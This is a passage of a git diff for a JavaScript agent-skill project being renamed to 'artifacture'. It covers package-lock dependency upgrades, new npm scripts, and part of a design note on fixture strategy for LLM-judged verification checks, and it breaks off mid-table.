+ ); +} diff --git a/package-lock.json b/package-lock.json index 1e2fff2..9e218d4 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { - "name": "visual-explainer", - "version": "0.6.3", + "name": "artifacture", + "version": "0.7.0", "lockfileVersion": 3, "requires": true, "packages": { "": { - "name": "visual-explainer", - "version": "0.6.3", + "name": "artifacture", + "version": "0.7.0", "license": "MIT", "dependencies": { "@mdx-js/rollup": "^3.1.1", @@ -26,20 +26,20 @@ } }, "node_modules/@emnapi/core": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.10.0.tgz", - "integrity": "sha512-yq6OkJ4p82CAfPl0u9mQebQHKPJkY7WrIuk205cTYnYe+k2Z8YBh11FrbRG/H6ihirqcacOgl2BIO8oyMQLeXw==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.11.1.tgz", + "integrity": "sha512-RSvbQmHzdKzNsLYa/wHrbc3KN4sYLKAdPZxqiM2HATqv/SBk2/ENSHpvXGaLOMcsAyz0poEGqkmmKYG3OWiJEQ==", "license": "MIT", "optional": true, "dependencies": { - "@emnapi/wasi-threads": "1.2.1", + "@emnapi/wasi-threads": "1.2.2", "tslib": "^2.4.0" } }, "node_modules/@emnapi/runtime": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.10.0.tgz", - "integrity": "sha512-ewvYlk86xUoGI0zQRNq/mC+16R1QeDlKQy21Ki3oSYXNgLb45GV1P6A0M+/s6nyCuNDqe5VpaY84BzXGwVbwFA==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.11.1.tgz", + "integrity": "sha512-vgj7R3y3Wgx24IQaGPA/R6YFXLHVMOZ0uVEyIQPaWs+rd1AzfEMXlAC22FYwO1XkKR6NPsq7mUandH8oIRdZFw==", "license": "MIT", "optional": true, "dependencies": { @@ -47,9 +47,9 @@ } }, "node_modules/@emnapi/wasi-threads": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.2.1.tgz", - "integrity": "sha512-uTII7OYF+/Mes/MrcIOYp5yOtSMLBWSIoLPpcgwipoiKbli6k322tcoFsxoIIxPDqW01SQGAgko4EzZi2BNv2w==", + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.2.2.tgz", + "integrity": "sha512-c95qOXkHdydNKhscBTebqEC1CVAZpyqOfVfBzQ1qgzyl3gfeldUjIggDbIZgDKsHLgnsM+igH7TJ/eAasaVuMA==", "license": "MIT", "optional": true, "dependencies": { @@ -158,13 +158,13 @@ } }, "node_modules/@napi-rs/wasm-runtime": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.4.tgz", - "integrity": "sha512-3NQNNgA1YSlJb/kMH1ildASP9HW7/7kYnRI2szWJaofaS1hWmbGI4H+d3+22aGzXXN9IJ+n+GiFVcGipJP18ow==", + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.6.tgz", + "integrity": "sha512-ZLv/JdUfkvOy9eCnnBaGfiO+XimbjebAeO+MRQqD/B+FR1tnRN0tpKSJHRbE8sFfS6aqsXZ67TQjfwfsxULVbg==", "license": "MIT", "optional": true, "dependencies": { - "@tybys/wasm-util": "^0.10.1" + "@tybys/wasm-util": "^0.10.3" }, "funding": { "type": "github", @@ -176,18 +176,18 @@ } }, "node_modules/@oxc-project/types": { - "version": "0.129.0", - "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.129.0.tgz", - "integrity": "sha512-3oz8m3FGdr2nDXVqmFUw7jolKliC4MoyXYIG2c7gpjBnzUWQpUGIYcXYKxTdTi+N2jusvt610ckTMkxdwHkYEg==", + "version": "0.138.0", + "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.138.0.tgz", + "integrity": "sha512-1a7ZKmrRTCoN1XMZ4L0PyyqrMnrNlLyPuOkdSX2MZg7IiIGRUyurNhAm73ptDOraoBcIordsIGKNPKUzy3ZmfA==", "license": "MIT", "funding": { "url": "https://github.com/sponsors/Boshen" } }, "node_modules/@rolldown/binding-android-arm64": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.0.tgz", - "integrity": "sha512-TWMZnRLMe63C2Lhyicviu7ZHaU4kxa6PS3rofvc9GmcvptzNN11BcfQ4Sl7MwTOsisQoa2keB/EBdNCAnUo8vA==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.1.4.tgz", + "integrity": "sha512-EZLpf/8y7GXkkra90ML47kzik/GMP3EMcE9bPyHmRfxLC6z9+aW5A8poCsoxjrT5GfEcNAAvWwUHjvP1pUQkfw==", "cpu": [ "arm64" ], @@ -201,9 +201,9 @@ } }, "node_modules/@rolldown/binding-darwin-arm64": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.0.0.tgz", - "integrity": "sha512-6XcD+8k0gPVItNagEw78/qqcBDwKcwDYS8V2hRmVsfUSIrd8cWe/CBvRDI5toqFyPfj+FJr6t8U6Xj2P2prEew==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.1.4.tgz", + "integrity": "sha512-aUi+HBvmYb7j8krl1+qJgkG8C17fO79gk3c+jPw4S8glRFc1DTija9S3EyaTSQUm5GJXYKDAsugBEhFHH2vYiQ==", "cpu": [ "arm64" ], @@ -217,9 +217,9 @@ } }, "node_modules/@rolldown/binding-darwin-x64": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.0.0.tgz", - "integrity": "sha512-iN/tWVXRQDWvmZlKdceP1Dwug9GDpEymhb9p4xnEe6zvCg5lFmzVljl+1qR1NVx3yfGpr2Na+CuLmv5IU8uzfQ==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.1.4.tgz", + "integrity": "sha512-F7hHC3gwY11+vByKPRWqwGbeXWVgKmL+pTGCinaEhdihzBV2aQ0fvZOch9cXYUOKuKKq429HeYXOqQLc7wFCEg==", "cpu": [ "x64" ], @@ -233,9 +233,9 @@ } }, "node_modules/@rolldown/binding-freebsd-x64": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.0.0.tgz", - "integrity": "sha512-jjQMDvvwSOuhOwMszD/klSOjyWMM3zI64hWTj9KT5x4MxRbZAf+7vLQ6qouRhtsLVFHr3f0ILaJAfgENPiQdAQ==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.1.4.tgz", + "integrity": "sha512-sI5yw+7s92SK6odiEhD5lKCBlWcpjHS5qyqpVQbZAJ0fIzEUXrmbl3DH2ybR3PZogulNJF+COLtmA8hUfvkCCQ==", "cpu": [ "x64" ], @@ -249,9 +249,9 @@ } }, "node_modules/@rolldown/binding-linux-arm-gnueabihf": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.0.0.tgz", - "integrity": "sha512-d//Dtg2x6/m3mbV64yUGNnDGNZaDGRpDLLNGerHQUVObuNaIQaaDp25yUiqGXtHEXX+NP2d0wAlmKgpYgIAJ2A==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.1.4.tgz", + "integrity": "sha512-mCi0OKgEieFircrtVYmQAFGszRtMnZ6fpZAXrxanXAu7lqZcsK1E1RAaZNG0uKAnxox3B1f4EyQNnoyMfN1vAA==", "cpu": [ "arm" ], @@ -265,9 +265,9 @@ } }, "node_modules/@rolldown/binding-linux-arm64-gnu": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.0.0.tgz", - "integrity": "sha512-n7Ofp0mx+aB2cC+Sdy5YtMnXtY9lchnHbY+3Yt0uq9JsWQExf4f5Whu0tK0R8Jdc9S6RchTHjIFY7uc92puOVQ==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.1.4.tgz", + "integrity": "sha512-B9Ial3Kv5sh0SHnB1g/QWcUQCEvCF6QKGAl4zXypYj65mVI+B4AhFBwPtSN7pDrJeIx8Z7zdy4ntx+wQABom7w==", "cpu": [ "arm64" ], @@ -284,9 +284,9 @@ } }, "node_modules/@rolldown/binding-linux-arm64-musl": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.0.0.tgz", - "integrity": "sha512-EIVjy2cgd7uuMMo94FVkBp7F6DhcZAUwNURkSG3RwUmvAXR6s0ISxM81U+IydcZByPG0pZIHsf1b6kTxoFDgJA==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.1.4.tgz", + "integrity": "sha512-lZVym0PuHE1KZ22gmFTC15lAkrg9iTszR617oYRB/iPY1A56ywoJzVKOJBKaot5RiikCObmur6pogpse3gRcng==", "cpu": [ "arm64" ], @@ -303,9 +303,9 @@ } }, "node_modules/@rolldown/binding-linux-ppc64-gnu": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.0.0.tgz", - "integrity": "sha512-JEwwOPcwTLAcpDQlqSmjEmfs63xJnSiUNIGvLcDLUHCWK4XowpS/7c7tUsUH6uT/ct6bMUTdXKfI8967FYj6mg==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.1.4.tgz", + "integrity": "sha512-t2DNiLJWNTbnEHyUzTumldML6ET4/g16467LZoDDJ3tSxGvguL5/NyC2lCsNKuyRycg9XeDQF5SSv+TNOhQEXg==", "cpu": [ "ppc64" ], @@ -322,9 +322,9 @@ } }, "node_modules/@rolldown/binding-linux-s390x-gnu": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.0.0.tgz", - "integrity": "sha512-0wjCFhLrihtAubnT9iA0N++0pSV0z5Hg7tNGdNJ4RFaINceHadoF+kiFGyY1qSSNVIAZtLotG8Ju1bgDPkjnFA==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.1.4.tgz", + "integrity": "sha512-0WIRnL1Uw4BvTZRLQt+PVgo6ZKTJadlC2btP+/EOXv2f/DWbY0rEgl+y834mIVwP1FkTlWVTrGGJXf12lru7EQ==", "cpu": [ "s390x" ], @@ -341,9 +341,9 @@ } }, "node_modules/@rolldown/binding-linux-x64-gnu": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.0.0.tgz", - "integrity": "sha512-Dfn7iak9BcMMePxcoJfpSbWqnEyrp/dRF63/8qW/eHBdOZov6x5aShLLEYGYdIeSJ6vMLK/XCVB+lGIxm41bQA==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.1.4.tgz", + "integrity": "sha512-JWtGshGfX+oENAKonoNkqEJX+7hC8yfhi9GUyPX1VX4mdh1y5r+ZiJLR5XzAB0aoP6s/PcILsGjKq8O0mm24bw==", "cpu": [ "x64" ], @@ -360,9 +360,9 @@ } }, "node_modules/@rolldown/binding-linux-x64-musl": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.0.0.tgz", - "integrity": "sha512-5/utzzDmD/pD/bmuaUcbTf/sZYy0aztwIVlfpoW1fTjCZ0BaPOMVWGZL1zvgxyi7ZIVYWlxKONHmSbHuiOh8Jw==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.1.4.tgz", + "integrity": "sha512-rT6yQcxUuXs4CnbofqwHRRV0iem349rLMYpTjkgQGLjrY4ado/eDzwPZPTCgTOlF6Nkp8NEv70yLMTn6qkWxsQ==", "cpu": [ "x64" ], @@ -379,9 +379,9 @@ } }, "node_modules/@rolldown/binding-openharmony-arm64": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.0.0.tgz", - "integrity": "sha512-ouJs8VcUomfLfpbUECqFMRqdV4x6aeAK3MA4m6vTrJJjKyWTV5KnxZx7Jd9G+GlDaQQxubcba00x16OyJ1meig==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.1.4.tgz", + "integrity": "sha512-KXMGoboq5cyaCQjDA4GLuRiOwBQ0EyFnJoVViLeZ45/3rFItRODEr+NdsBcVpll40hhNArlm/speWGRvj08LzA==", "cpu": [ "arm64" ], @@ -395,27 +395,27 @@ } }, "node_modules/@rolldown/binding-wasm32-wasi": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.0.0.tgz", - "integrity": "sha512-E+oHKGiDA+lsKMmFtffDDw91EryDT7uJocrIuCHqhm6bCTM6xFK+3gaCkYOHfPwQr0cCNarSM2xaELoQDz9jJg==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.1.4.tgz", + "integrity": "sha512-5K83rb36oJiY7BCyE9zLZtGcPV4g5wvq+xwdO0XPIwDVZI8cyB/AUjkNXGb92/rnmezEkjMOpgY61rtwjQtFwg==", "cpu": [ "wasm32" ], "license": "MIT", "optional": true, "dependencies": { - "@emnapi/core": "1.10.0", - "@emnapi/runtime": "1.10.0", - "@napi-rs/wasm-runtime": "^1.1.4" + "@emnapi/core": "1.11.1", + "@emnapi/runtime": "1.11.1", + "@napi-rs/wasm-runtime": "^1.1.6" }, "engines": { "node": "^20.19.0 || >=22.12.0" } }, "node_modules/@rolldown/binding-win32-arm64-msvc": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.0.0.tgz", - "integrity": "sha512-yYK02n8Rngo+gbm1y6G0+7jk1sJ/2Wt7K0me0Y7k/ErBpyf+LJ2gFpqWVTcRV1rUepBlQRmpgWkTQCiiwrK0Ow==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.1.4.tgz", + "integrity": "sha512-PnWBtw3TV5KOg69HQQDR0mnQuyCmSGR2pAB4DC1rPF808fgKeTUMj2EOEyKATpgiuxuR5APQmiDO7PDgEjTFSA==", "cpu": [ "arm64" ], @@ -429,9 +429,9 @@ } }, "node_modules/@rolldown/binding-win32-x64-msvc": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.0.0.tgz", - "integrity": "sha512-14bpChMahXRRXiTwahSl+zzHPW6qQTXtkMuJBFlbo+pqSAews2d4BdCSHfrJ/MBsCZtpmTafsY+1QhBzitcmdg==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.1.4.tgz", + "integrity": "sha512-M1lpniBePobTfsa7Ks9a199e1akxsXn+GYBUKsEzv3YFzOm1HJAMNwKI3qr0Zq+mxwx9gOZoTdP1yXRYsZUocQ==", "cpu": [ "x64" ], @@ -1245,9 +1245,9 @@ } }, "node_modules/@tybys/wasm-util": { - "version": "0.10.2", - "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.2.tgz", - "integrity": "sha512-RoBvJ2X0wuKlWFIjrwffGw1IqZHKQqzIchKaadZZfnNpsAYp2mM0h36JtPCjNDAHGgYez/15uMBpfGwchhiMgg==", + "version": "0.10.3", + "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.3.tgz", + "integrity": "sha512-F3fo1MYrRJYL3zER0OUOmkutjr1Vp23m7OsSgp7nq4SP6OqX6C/56XFIPAl5bt3zaBRjmW7SGz3u/6LwFpYcOg==", "license": "MIT", "optional": true, "dependencies": { @@ -3115,9 +3115,9 @@ "license": "MIT" }, "node_modules/nanoid": { - "version": "3.3.12", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz", - "integrity": "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==", + "version": "3.3.15", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.15.tgz", + "integrity": "sha512-y7Wygv/7mEOvxTuEQDB8StXdMRBWf1kR/tlhAzBRUFkB2jfcLOAxO/SHmOO2zgz1pVgK29/kyupn059/bCHdjA==", "funding": [ { "type": "github", @@ -3255,9 +3255,9 @@ } }, "node_modules/postcss": { - "version": "8.5.14", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.14.tgz", - "integrity": "sha512-SoSL4+OSEtR99LHFZQiJLkT59C5B1amGO1NzTwj7TT1qCUgUO6hxOvzkOYxD+vMrXBM3XJIKzokoERdqQq/Zmg==", + "version": "8.5.16", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.16.tgz", + "integrity": "sha512-vuwillviilfKZsg0VGj5R/YwwcHx4SLsIOI/7K6mQkWx+l5cUHTjj5g0AasTBcyXsbfTgrwsUNmVUb5xVwyPwg==", "funding": [ { "type": "opencollective", @@ -3274,7 +3274,7 @@ ], "license": "MIT", "dependencies": { - "nanoid": "^3.3.11", + "nanoid": "^3.3.12", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" }, @@ -3470,13 +3470,13 @@ } }, "node_modules/rolldown": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.0.tgz", - "integrity": "sha512-yD986aXDESFGS95spT1LAv0jssywP4npMEjmMHyN2/5+eE8qQJUype2AaKkRiLgBgyD0LFlubwAht7VmY8rGoA==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.1.4.tgz", + "integrity": "sha512-IjZYiLxZwpnhwhdBH2ugdTGVSdhCQUmLxLoqyjiL0JxYjyRst+5a0P3xfrTxJ5F638j4Mvvw5FAX5XE6eHpXbA==", "license": "MIT", "dependencies": { - "@oxc-project/types": "=0.129.0", - "@rolldown/pluginutils": "1.0.0" + "@oxc-project/types": "=0.138.0", + "@rolldown/pluginutils": "^1.0.0" }, "bin": { "rolldown": "bin/cli.mjs" @@ -3485,27 +3485,27 @@ "node": "^20.19.0 || >=22.12.0" }, "optionalDependencies": { - "@rolldown/binding-android-arm64": "1.0.0", - "@rolldown/binding-darwin-arm64": "1.0.0", - "@rolldown/binding-darwin-x64": "1.0.0", - "@rolldown/binding-freebsd-x64": "1.0.0", - "@rolldown/binding-linux-arm-gnueabihf": "1.0.0", - "@rolldown/binding-linux-arm64-gnu": "1.0.0", - "@rolldown/binding-linux-arm64-musl": "1.0.0", - "@rolldown/binding-linux-ppc64-gnu": "1.0.0", - "@rolldown/binding-linux-s390x-gnu": "1.0.0", - "@rolldown/binding-linux-x64-gnu": "1.0.0", - "@rolldown/binding-linux-x64-musl": "1.0.0", - "@rolldown/binding-openharmony-arm64": "1.0.0", - "@rolldown/binding-wasm32-wasi": "1.0.0", - "@rolldown/binding-win32-arm64-msvc": "1.0.0", - "@rolldown/binding-win32-x64-msvc": "1.0.0" + "@rolldown/binding-android-arm64": "1.1.4", + "@rolldown/binding-darwin-arm64": "1.1.4", + "@rolldown/binding-darwin-x64": "1.1.4", + "@rolldown/binding-freebsd-x64": "1.1.4", + "@rolldown/binding-linux-arm-gnueabihf": "1.1.4", + "@rolldown/binding-linux-arm64-gnu": "1.1.4", + "@rolldown/binding-linux-arm64-musl": "1.1.4", + "@rolldown/binding-linux-ppc64-gnu": "1.1.4", + "@rolldown/binding-linux-s390x-gnu": "1.1.4", + "@rolldown/binding-linux-x64-gnu": "1.1.4", + "@rolldown/binding-linux-x64-musl": "1.1.4", + "@rolldown/binding-openharmony-arm64": "1.1.4", + "@rolldown/binding-wasm32-wasi": "1.1.4", + "@rolldown/binding-win32-arm64-msvc": "1.1.4", + "@rolldown/binding-win32-x64-msvc": "1.1.4" } }, "node_modules/rolldown/node_modules/@rolldown/pluginutils": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0.tgz", - "integrity": "sha512-aKs/3GSWyV0mrhNmt/96/Z3yczC3yvrzYATCiCXQebBsGyYzjNdUphRVLeJQ67ySKVXRfMxt2lm12pmXvbPFQQ==", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.1.tgz", + "integrity": "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw==", "license": "MIT" }, "node_modules/rollup": { @@ -3666,9 +3666,9 @@ } }, "node_modules/tinyglobby": { - "version": "0.2.16", - "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.16.tgz", - "integrity": "sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg==", + "version": "0.2.17", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", + "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", "license": "MIT", "dependencies": { "fdir": "^6.5.0", @@ -3857,16 +3857,16 @@ } }, "node_modules/vite": { - "version": "8.0.12", - "resolved": "https://registry.npmjs.org/vite/-/vite-8.0.12.tgz", - "integrity": "sha512-w2dDofOWv2QB09ZITZBsvKTVAlYvPR4IAmrY/v0ir9KvLs0xybR7i48wxhM1/oyBWO34wPns+bPGw5ZrZqDpZg==", + "version": "8.1.3", + "resolved": "https://registry.npmjs.org/vite/-/vite-8.1.3.tgz", + "integrity": "sha512-Ds+gBRbj0lwRO2Y5hwnUBdxSwlAve9LeRyU4sNnAr0ewW0gWF0n5bgXgUzbgZ49MV9BVUAQUFYVcDUcilUExMA==", "license": "MIT", "dependencies": { "lightningcss": "^1.32.0", "picomatch": "^4.0.4", - "postcss": "^8.5.14", - "rolldown": "1.0.0", - "tinyglobby": "^0.2.16" + "postcss": "^8.5.16", + "rolldown": "~1.1.3", + "tinyglobby": "^0.2.17" }, "bin": { "vite": "bin/vite.js" @@ -3882,7 +3882,7 @@ }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", - "@vitejs/devtools": "^0.1.18", + "@vitejs/devtools": "^0.3.0", "esbuild": "^0.27.0 || ^0.28.0", "jiti": ">=1.21.0", "less": "^4.0.0", diff --git a/package.json b/package.json index 3b437e6..1a9a977 100644 --- a/package.json +++ b/package.json @@ -1,19 +1,24 @@ { "name": "artifacture", - "version": "0.6.3", + "version": "0.7.0", "description": "Agent skill that generates verified, self-contained HTML visual explainers from MDX/React sources — with a deterministic design-quality verifier and a multi-model eval harness", "keywords": [ "claude-code-plugin", "agent-skill" ], "license": "MIT", + "engines": { + "node": ">=22" + }, "scripts": { "ve:export": "node scripts/ve-mdx/export.mjs", "ve:export-static": "node scripts/ve-mdx/export-static.mjs", "ve:check": "node scripts/ve-mdx/check.mjs", "ve:check-integrity": "node scripts/ve-mdx/check-integrity.mjs", "ve:verify": "node plugins/visual-explainer/scripts/verify/ve-verify.mjs", - "ve:eval": "node evals/run.mjs" + "ve:eval": "node evals/run.mjs", + "ve:eval-rubrics": "node evals/run-rubrics.mjs", + "check:manifests": "node scripts/check-manifests.mjs" }, "dependencies": { "@mdx-js/rollup": "^3.1.1", diff --git a/plans/007-DESIGN-NOTE.md b/plans/007-DESIGN-NOTE.md new file mode 100644 index 0000000..a88fe01 --- /dev/null +++ b/plans/007-DESIGN-NOTE.md @@ -0,0 +1,196 @@ +# Design Note: fixture strategy for the 30 non-deterministic checks + +Spike output for plan `007-llm-pass-fixture-strategy.md`. Written 2026-07-06. + +## Step 1: execution-path map + +**Where llm-pass "executes."** It doesn't execute in-process at all. +`plugins/visual-explainer/scripts/verify/lib/engine.mjs:49` short-circuits any +check definition with `stage === 'llm-pass'`: + +```js +if (definition.stage === 'llm-pass') return { ...base, status: 'llm-required', evidence: 'requires focused LLM verification pass' }; +``` + +`engine.mjs:50` does the identical thing for `stage === 'transcript'`: + +```js +if (definition.stage === 'transcript') return { ...base, status: 'transcript', evidence: 'requires transcript verification' }; +``` + +Neither line calls a model, a binary, or an HTTP endpoint. Both stages are +pure markers. `plugins/visual-explainer/scripts/verify/lib/report.mjs:42-53` +(`llmPassesFor`) reads those markers and computes which *pass names* the +orchestrator must run next (`hierarchy`, `aesthetic-`, `completeness`, +`copy`, plus `visual-tells` for page/slides/magazine profiles) — it still +does not call anything, and nothing downstream in +`plugins/visual-explainer/scripts/verify/` ever parses a verdict back into a +check's `status`. + +**What actually runs the rubric.** Per +`plugins/visual-explainer/scripts/verify/SPEC.md:84-101`, the real execution +is an external protocol the calling agent (Claude Code or Codex) follows +*after* the deterministic gate passes: dispatch one Task subagent per rubric +pass — `.claude/agents/ve-verifier-{hierarchy,aesthetic,completeness,copy}.md` +— each reading only its named inputs, e.g. +`plugins/visual-explainer/.claude/agents/ve-verifier-completeness.md:11-18` +(reads `rubrics/pass-completeness.md` + a source-inventory file + an +extracted-text file; explicitly "Do not read page screenshots"). Spot-checked +a second: `plugins/visual-explainer/.claude/agents/ve-verifier-completeness.md` +itself confirms the frontmatter contract (`tools: Read`, output-only-JSON +instruction at lines 20-28). + +**Interface / function signature.** There is none to inject — no +`callModel(prompt)` seam exists anywhere in the JS. The interface boundary is +a prompt contract, not a function: agent definition (frontmatter + Read +tool) + a prompt naming which files to read, and the agent's *entire final +message* must be one JSON object matching a schema repeated verbatim in +every rubric file's "Verdict JSON schema" line: + +```json +{"pass": true, "findings": [{"check_id": "", "evidence": "...", "fix": "..."}]} +``` + +Confirmed identical shape at `rubrics/pass-layout.md:15`, +`rubrics/pass-diagram.md:15`, `rubrics/pass-aesthetic.md:16`, +`rubrics/pass-completeness.md:10`, `rubrics/pass-visual-tells.md:11`, +`rubrics/pass-copy.md`, `rubrics/pass-poster.md`. + +**What each rubric consumes** (from each file's "Inputs:" section): +- `rubrics/pass-layout.md:1-6` (covers `text-visibly-clipped` at line 9 and + `fixed-ui-obscures-content` at line 10): `report.json` + the 4 standard + screenshots (1440×900, 390×844 × light/dark) + candidate-element lists + named by deterministic checks. +- `rubrics/pass-diagram.md:1-6` (`diagram-type-coherent` at line 11): + `report.json` + one screenshot per rendered figure + extracted diagram + label text + a one-line content brief per figure. +- `rubrics/pass-aesthetic.md:1-6` (`preset-both-mode-visual` at line 8): + `report.json` with detected preset + light/dark screenshots + candidate + extracts; loads *only* the active preset's section plus "Any named + preset." +- `rubrics/pass-completeness.md:1-3` (`deck-content-completeness` at line + 7): source inventory + extracted rendered text — **no screenshots** + (line 3 says so explicitly). +- Not in the Step-3 slice but confirms the pattern: `pass-copy.md` gets + filtered prose text only; `pass-poster.md` gets the exported PNG only. + +**What output shape does it parse.** The schema above is what a human/agent +orchestrator reads and acts on manually (SPEC.md:98, "Verdict merge: any +P1–P4 fail → fix → re-run affected pass only"). No code in this repo parses +it. This is the central fact this plan turns on. + +**Where transcript checks read inputs.** Also unimplemented in code +(`engine.mjs:50` is the only touchpoint). Per `checks.json`: +- `reel-no-mid-word-cuts` (`checks.json:2864-2881`) is **fully + deterministic**: cross-reference each clip's cut `data-start` against a + word-level `transcript.json` (`{text, start, end}`); fail if a cut lands + strictly inside a word span (±50ms). `impl_hint` at line 2877 gives the + exact algorithm — no model involved at all. +- `reel-caption-matches-transcript` (`checks.json:2901-2918`, the check this + plan seeds) is **mostly deterministic**: concatenate `.cap` DOM text, + diff word-overlap/edit-distance against the transcript's word sequence for + the same time range, fail below ~90% overlap (`checks.json:2911`). An LLM + tie-break is invoked *only* for the 85–90% borderline band — the common + case is pure string math. + +## STOP-condition check + +The plan's STOP trigger is "the llm-pass stage has no injectable model +interface (calls a hardcoded binary/API inline with no seam)." That is not +what Step 1 found. The actual finding is stronger in our favor: **there is no +model call in-process to have a seam problem with** — llm-pass/transcript +execution is deferred entirely to an external Task-agent protocol that lives +outside this JS codebase. Because Step 3's scope is a *new* runner under +`evals/` (not a modification to `engine.mjs` or the verifier), we can build +the entire seam — canned judge, verdict-to-check-status plumbing — as new +eval-only code without touching production. This is not a refactor of the +verifier; it does not trigger the STOP condition. Proceeding to Step 2. + +## Step 2: mechanism comparison + +| | **A. Stub judge** | **B. Recorded responses** | **C. Golden-artifact 